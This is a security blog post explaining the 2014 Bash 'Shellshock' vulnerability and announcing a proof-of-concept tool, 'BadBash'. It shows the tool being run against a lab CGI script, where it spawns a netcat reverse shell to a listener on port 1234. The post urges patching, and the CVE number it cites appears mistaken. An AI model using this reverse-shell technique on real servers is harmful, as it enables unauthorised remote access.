By Andy Yang
(A little bit of background on this post – one of my colleagues, Norman Yue, posted something about the Internet being on fire to LinkedIn yesterday, regarding the bash bug. This blog post tries to explain a bit more about why exactly this is such a big issue, and also provides a proof-of-concept exploitation).
Firstly, the vulnerability itself. The actual vulnerability itself is amusing and unique, but otherwise, isn’t the magical everything-is-owned vulnerability that everyone makes it out to be. To paraphrase, if you are able to set an environment variable through the Bash shell, you can execute commands.
The interesting part is that this vulnerability may have existed for more than 20 years, in an application which is part of pretty much every Unix system since a long time ago. The vulnerable versions start from cpe:/a:gnu:bash:1.14.0 to cpe:/a:gnu:bash:4.3, which covers pretty much every Unix-based operating system available today (and by extension, a tremendous chunk of the Internet).
It’s not just bash itself that’s the problem, however – other systems, such as CGI scripts, various web applications, software such as OpenSSH (though not in the way you might think), provide vectors through which this issue may be exploited. This is a tremendous risk, as it’s a giant question mark – we don’t actually fully know how far this issue is actually exploitable.
People have named this issue “shellshock”. In response to this, I’ve released a PoC exploit last night (“BadBash”), after reaching out to my contacts and asking them to patch their systems. In a nutshell, it’s a tool which checks for a vulnerable CGI script on web servers. If it finds something vulnerable, it creates an inbound reverse shell on port 1234 on listening server (passed as a command-line argument). You can run it as follows:
RainMak3r@Could:~/Desktop#ruby BadBash.rb -t '172.16.235.140/cgi-bin/Andy.sh' -d '172.16.189.1' [Info] Checking if the target is vulnerable....... [Info] This may take up to 10 seconds........ [Info] Target is vulnerable!!! [Info] Please use NC to listen on port 1234 for reverse shell.......... [Info] Exploiting for a reverse shell to connect 172.16.189.1:1234 via netcat ..........
This tool is only intended as a proof-of-concept, and thus, only has limited functionality. It uses a delay to check if a system is vulnerable – so if you notice it hanging while you’re using it to check a given system, you may have some patching to do.
If a system is vulnerable, this script will then use netcat on the target system to spawn a reverse shell connection to port 1234 on the listening host, assuming that:
1) The target system has netcat installed
2) No firewall is blocking the connection
It should be noted that this is not the only attack scenario – there are other vectors through which this issue can be exploited (which makes this issue all the more dangerous). It’s also, in a way, not as bad as initial impressions may make it seem – while software such as OpenSSH may indeed be vulnerable, this doesn’t mean that an unauthenticated attacker can get root on your system just because you use SSH (but other vulnerable services may allow an unauthenticated, remote attacker the ability to run arbitrary code).
If you haven’t already, please investigate and patch the CVE-2014-6241 vulnerability on your systems. If you’re interested in playing around with our proof of concept tool, you can fetch it from our Github, at: